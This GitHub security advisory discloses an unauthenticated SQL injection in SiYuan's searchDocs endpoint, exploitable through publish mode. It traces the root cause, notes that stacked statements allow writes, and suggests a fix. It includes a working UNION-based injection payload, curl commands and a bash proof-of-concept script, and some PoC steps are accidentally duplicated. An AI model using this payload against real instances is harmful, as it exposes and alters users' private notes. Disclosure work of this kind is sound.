CVE-2026-69085: SiYuan: Unauthenticated SQL injection in searchDocs via unescaped keyword (publish mode): cross-notebook read/write with statement stacking
### Summary The `/api/filetree/searchDocs` endpoint concatenates the caller-supplied search keyword directly into a SQL statement with no escaping and no parameter binding. The endpoint is gated by `CheckAuth` only reachable by the publish RoleReader token, and by the anonymous account when `Publish.Auth.Enable` is `false`. The resulting statement runs on a read-write SQLite handle through a driver that executes stacked (`;`-separated) statements, against the global `blocks` table spanning all cleartext notebooks. An unauthenticated request can therefore read and write database content across every non-encrypted notebook on the instance. ### Details Data flow, unescaped and unbound at every hop: - `searchDocs` (`kernel/api/filetree.go`): `k := arg["k"].(string)` passed straight to `model.SearchDocs(k, …)`, no sanitization. - `SearchDocs` (`kernel/model/file.go`): after `TrimSpace` and `strings.Fields`, each token is spliced into a single-quoted `LIKE` literal by concatenation `condition.WriteString("(hpath LIKE '%" + k + "%'")`. No escaping, no `''` doubling, no bind placeholder. - `NAMFilter` (`kernel/conf/search.go`): appends `" OR name LIKE '%" + keyword + "%'"` (and `alias`, `memo`) the same way, enabled by default. - `QueryRootBlockByCondition` (`kernel/sql/block_query.go`): `"SELECT *, … FROM blocks WHERE type = 'd' AND " + condition + " ORDER BY … LIMIT …"` passed to `query(sqlStmt)`. The only value-inspecting guard is `ast.IsNodeIDPattern(keyword)`, which merely routes an exact-ID-shaped keyword to a different branch; a normal keyword falls through to the concatenation. `strings.Fields` prevents literal whitespace within a token this constrains payload construction but is not sanitization or confinement. **Driver / statement stacking.** The driver is the vendored `github.com/88250/go-sqlite3` (mattn fork), registered as `sqlite3_extended`. `query()` calls `db.Query`, and the driver's connection `query` implementation loops over `;`-separated statements preparing and executing each in turn so a stacked statement executes for its side effects. SiYuan's `CheckSingleStatement` / `CheckReadonlyStatement` guards exist but are wired only into the explicit SQL endpoints (`api/sql.go`, `cli`, `mcp`); the `searchDocs > query()` path does not call them. **Handle.** The DSN (`kernel/model/database.go`) sets `_journal_mode=WAL&_synchronous=OFF&…` with no `mode=ro` and no `_query_only`. It is the same read-write handle used for indexing `Exec` calls, so stacked `INSERT`/`UPDATE`/`DELETE` execute, and `ATTACH` is available. `load_extension` is not enabled in this build (no build tag / ConnectHook enabling it), so the ceiling is database read/write, not code execution. **Scope.** The `blocks` table indexes every opened non-encrypted notebook. Encrypted notebooks use separate per-box databases and are excluded. Scope is therefore all cleartext notebook content on the instance cross-notebook, not publish-scoped. ### Impact An unauthenticated request (publish mode with auth disabled) or any publish RoleReader reaches an unescaped, unparameterized SQL concatenation on a read-write handle whose driver executes stacked statements, against a table spanning all cleartext notebooks. This permits cross-notebook disclosure of document content and, via statement stacking on the read-write handle, modification of database content (and `ATTACH`-reachable files). No admin role, no CSRF token, no write permission through the normal API is required; the publish surface alone is sufficient. Encrypted notebooks are not exposed. Code execution is not reachable in the default build (no `load_extension`). ## Root cause The keyword is split on whitespace and each token is spliced into a `LIKE` literal without escaping or binding: - `SearchDocs` builds each condition as `(hpath LIKE '%<token>%' ...)` (`file.go:199`). - `NAMFilter` appends `OR name LIKE '%<token>%'`, `alias`, `memo` the same way (`search.go:135-142`). - `QueryRootBlockByCondition` concatenates that condition into `SELECT *, length(hpath) - length(replace(hpath, '/', '')) AS lv FROM blocks WHERE type = 'd' AND <condition> ORDER BY box DESC, lv ASC LIMIT <n>` and calls `query()` (`block_query.go:74-75`). - `query()` calls `db.Query()` with **no** call to the project's own `CheckSingleStatement` / `CheckReadonlyStatement` guards, which are wired only into `api/sql.go` (the explicit SQL endpoints), not this path (`database.go:1426-1436`). The only pre-sink check is `ast.IsNodeIDPattern` (`file.go:179`), which merely routes exact-ID-shaped input to a different (also concatenated) branch, it does not sanitize. ## Reachability / auth tier - Route middleware is `model.CheckAuth` only **no** `CheckAdminRole`. - The publish reverse proxy injects a token resolving to `RoleReader`, or the anonymous account when `Publish.Auth.Enable=false`. Both satisfy `CheckAuth`. - The handler applies **no** publish-access / read-only / role check, and `SearchDocs` applies no post-query scope filter. - Query targets the global `blocks` table = all opened non-encrypted notebooks (cross-boundary). Encrypted notebooks use separate DBs and are excluded. ## Proof of concept (read-only discloses `sqlite_version()`) Demonstrated against a **local** instance. Read-only: the PoC runs a single `SELECT … UNION SELECT` and surfaces the SQLite version string through the search response. No data is modified. ### 1. Prerequisites - A local SiYuan kernel running (default `http://127.0.0.1:6806`). - The API token from **Settings > About > API token** (omit if no access-auth code is set). - One **opened** notebook id (17 chars), e.g. from `POST /api/notebook/lsNotebooks`. ### 2. Why the payload is shaped this way - The kernel places the keyword as `hpath LIKE '%<K>%'`, so the payload closes the string literal and the condition group, appends a `UNION SELECT`, and comments out the trailing `%'`, `ORDER BY`, and `LIMIT`. - The keyword is whitespace-split (`strings.Fields`), so literal spaces are replaced with `/**/` SQL comments. - `blocks` has 21 columns; the query adds a computed `lv`, so the `UNION SELECT` must supply **22** values. Only **col 5 (Box)** and **col 6 (Path)** matter: col 5 must equal an opened notebook id (result loop skips rows whose box is not open `file.go:230`) and col 6 is returned verbatim as the response `path` field. ## 3. PoC 1. Open the web UI once (unlocks + ensures a notebook is open) 1. Browser > `http://127.0.0.1:6806` 2. Enter the access-auth code: `poctestcode` 3. Let it finish loading. A fresh instance opens with a default notebook in the left sidebar that's what the PoC needs (the injection surfaces through an open notebook). If the sidebar is empty, click + > New notebook, name it anything, and make sure it's open (bold, not greyed). 2. Grab the API token ``` docker exec siyuan-poc grep -o '"token":"[^"]*"' /siyuan/workspace/conf/conf.json TOKEN="paste_the_token_value_here" ``` 3. Get the open notebook's ID `curl -s -X POST "http://127.0.0.1:6806/api/notebook/lsNotebooks" -H "Authorization: Token $TOKEN"` Copy an id whose "closed":false, then: `BOX_ID="paste_that_id_here"` 4. Build the request body ``` cat > body.json <<EOF {"k":"poc%')/**/union/**/select/**/'poc','','poc','','$BOX_ID',sqlite_version(),'/POC','POC','','','','','','',0,'d','','',0,'','',0--"} EOF ``` (The heredoc substitutes $BOX_ID for you, no manual editing.) 5. Fire the injection `curl -s -X POST "http://127.0.0.1:6806/api/filetree/searchDocs" -H "Content-Type: application/json" -H "Authorization: Token $TOKEN" -d @body.json | grep -o '"path":"[0-9][^"]*"'` Expected: the SQLite version string, e.g. `"path":"3.45.1"`, proof the keyword was executed as SQL. Screenshot this for the advisory. 6. Confirm the row is genuinely injected (optional sanity check) Run the same request with a benign keyword and confirm no version appears: `curl -s -X POST "http://127.0.0.1:6806/api/filetree/searchDocs" -H "Content-Type: application/json" -H "Authorization: Token $TOKEN" -d '{"k":"poc"}' | grep -o '"path":"[0-9][^"]*"'` # returns nothing The differential (version appears only with the crafted keyword) is clean evidence for the report. --- If Step 5 returns empty: 5. Fire the injection `curl -s -X POST "http://127.0.0.1:6806/api/filetree/searchDocs" -H "Content-Type: application/json" -H "Authorization: Token $TOKEN" -d @body.json | grep -o '"path":"[0-9][^"]*"'` Expected: the SQLite version string, e.g. "path":"3.45.1", proof the keyword was executed as SQL. Screenshot this for the advisory. 6. Confirm the row is genuinely injected (optional sanity check) Run the same request with a benign keyword and confirm no version appears: `curl -s -X POST "http://127.0.0.1:6806/api/filetree/searchDocs" -H "Content-Type: application/json" -H "Authorization: Token $TOKEN" -d '{"k":"poc"}' | grep -o '"path":"[0-9][^"]*"'` # returns nothing The differential (version appears only with the crafted keyword) is clean evidence for the report. Or you can use this script to do the whole process at once: ``` #!/usr/bin/env bash # # siyuan_sqli_poc.sh # Read-only PoC: proves SQL injection in /api/filetree/searchDocs by disclosing # sqlite_version() through the search response. Modifies NO data. set -u export MSYS_NO_PATHCONV=1 # stop Git Bash from mangling container-absolute paths # ---- config --------------------------------------------------------------- BASE="${BASE:-http://127.0.0.1:6806}" CONTAINER="${CONTAINER:-siyuan-poc}" CONF="/siyuan/workspace/conf/conf.json" # --------------------------------------------------------------------------- CONF="/siyuan/workspace/conf/conf.json" # --------------------------------------------------------------------------- say() { printf '\n\033[1m== %s\033[0m\n' "$*"; } ok() { printf '\033[32m[OK]\033[0m %s\n' "$*"; } warn() { printf '\033[33m[!!]\033[0m %s\n' "$*"; } die() { printf '\033[31m[XX]\033[0m %s\n' "$*"; exit 1; } # 1. container up? say "Checking container" docker ps --format '{{.Names}}' | grep -qx "$CONTAINER" \ || die "Container '$CONTAINER' is not running. Start it, then re-run." ok "container '$CONTAINER' is running" # 2. API alive? say "Waiting for kernel API" for i in $(seq 1 30); do if curl -sf "$BASE/api/system/version" >/dev/null 2>&1; then ok "API responding at $BASE"; break fi sleep 1 [ "$i" = 30 ] && die "API not responding. Open $BASE in a browser, enter the access code, then re-run." done # 3. token from conf.json say "Reading API token" TOKEN=$(docker exec "$CONTAINER" cat "$CONF" 2>/dev/null \ | grep -oE '"token"[[:space:]]*:[[:space:]]*"[^"]*"' | head -1 \ | sed -E 's/.*:[[:space:]]*"([^"]*)".*/\1/') if [ -n "$TOKEN" ]; then ok "token found" AUTH=(-H "Authorization: Token $TOKEN") else warn "no token in conf.json (instance may not be initialized, or auth is disabled)." warn " -> open $BASE, enter the access code, let the UI load, then re-run." AUTH=() fi # 4. an OPEN notebook id say "Finding an open notebook" NB=$(curl -s -X POST "$BASE/api/notebook/lsNotebooks" "${AUTH[@]}") BOX_ID=$(echo "$NB" | tr '}' '\n' | grep '"closed":false' \ | grep -oE '"id":"[^"]+"' | head -1 | sed -E 's/"id":"([^"]+)"/\1/') [ -n "$BOX_ID" ] || die "No OPEN notebook found. Open one in the UI ($BASE) and re-run. Raw: $NB" ok "using open notebook: $BOX_ID" # 5. build the read-only payload (22-column UNION; col5=box, col6=sqlite_version()) say "Building request body" PAYLOAD="poc%')/**/union/**/select/**/'poc','','poc','','${BOX_ID}',sqlite_version(),'/POC','POC','','','','','','',0,'d','','',0,'','',0--" printf '{"k":"%s"}' "$PAYLOAD" > body.json ok "wrote body.json" # 6. fire the injection say "Sending injection" RESP=$(curl -s -X POST "$BASE/api/filetree/searchDocs" \ -H "Content-Type: application/json" "${AUTH[@]}" -d @body.json) VER=$(echo "$RESP" | grep -oE '"path":"[0-9][^"]*"' | head -1 | sed -E 's/"path":"([^"]*)"/\1/') # 7. benign differential (must NOT return a version) BENIGN=$(curl -s -X POST "$BASE/api/filetree/searchDocs" \ -H "Content-Type: application/json" "${AUTH[@]}" -d '{"k":"poc"}' \ | grep -oE '"path":"[0-9][^"]*"' | head -1) # 8. verdict say "Result" if [ -n "$VER" ] && [ -z "$BENIGN" ]; then ok "SQL injection CONFIRMED" printf ' leaked sqlite_version() = \033[1m%s\033[0m\n' "$VER" printf ' (benign keyword returned no version -> value came from injected SQL)\n' else warn "no version surfaced. Checking kernel log for the assembled statement..." docker exec "$CONTAINER" sh -c 'grep "sql query" /siyuan/workspace/temp/siyuan.log 2>/dev/null | tail -3' || true warn "If you see 'sql query [...] failed', it's a column-count mismatch on this build." warn "If no error line: the box filter dropped the row -> confirm BOX_ID is an OPEN notebook." printf ' raw response: %s\n' "$RESP" fi ``` `bash siyuan_sqli_poc.sh` <img width="809" height="376" alt="image" src="https://github.com/user-attachments/assets/e7875c16-a18b-4acb-811e-7385184bf6d4" /> ### Suggested fix Parameterize the search. The load-bearing fix is at `SearchDocs` and `NAMFilter`: bind the keyword as a parameter rather than concatenating it, or at minimum escape `'` and the `LIKE` metacharacters and pass via a bound argument. Secondarily, route the `searchDocs > query()` path through the existing `CheckSingleStatement` / `CheckReadonlyStatement` guards so this and any similar internal query path cannot stack statements or write. Consider opening the query handle used by read paths with `_query_only=1`.
Recommended action
Recommended action
Upgrade affected packages to a patched version: github.com/siyuan-note/siyuan/kernel 0.0.0-20260721043339-eef10568384e.
Technical details
- Vendor
- Not specified
- Product
- github.com/siyuan-note/siyuan/kernel
- Exploitation
- none known
- Evidence
- official
Evidence and sources
This record is attributed to GitHub Advisories. Exploitation status and remediation guidance are kept separate from the vulnerability's technical severity.
Open primary source